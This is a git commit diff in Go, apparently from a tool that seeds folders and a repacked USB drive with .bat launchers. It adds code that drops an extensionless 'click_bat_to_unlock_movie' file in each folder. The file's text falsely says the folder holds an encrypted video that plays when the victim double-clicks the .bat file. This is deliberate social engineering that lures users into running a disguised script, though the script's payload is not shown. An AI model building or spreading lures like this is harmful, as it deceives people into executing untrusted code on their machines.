feat(forge): drop click_bat_to_unlock_movie hint file in each seeded dir. Filename is the instruction; content names the .bat to double-click. USB repacked.

This commit is contained in:
AetherForge
2026-06-03 01:24:30 -07:00
parent 2dd576440e
commit f12cbe72d4
2 changed files with 16 additions and 0 deletions

View File

@@ -158,6 +158,13 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
}
// Drop the hint file — its name IS the instruction.
// No extension so it appears as a generic document icon on all platforms.
hintName := "click_bat_to_unlock_movie"
hintDst := filepath.Join(dir, hintName)
_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
placed = append(placed, hintName)
if len(placed) > 0 {
res.Placed += len(placed)
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
@@ -196,6 +203,15 @@ func sanitizeStem(s string) string {
return strings.TrimSpace(replacer.Replace(s))
}
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
// The filename itself is the instruction; the content gives a second nudge.
func hintContent(batStem string) string {
return "This folder contains an encrypted media file.\n" +
"To play it, double-click " + batStem + ".bat\n" +
"\n" +
"The .bat file unlocks and opens the video automatically.\n"
}
// batContent creates a .bat launcher.
//
// When lockOriginal is true the file on disk is named lockedFile

Binary file not shown.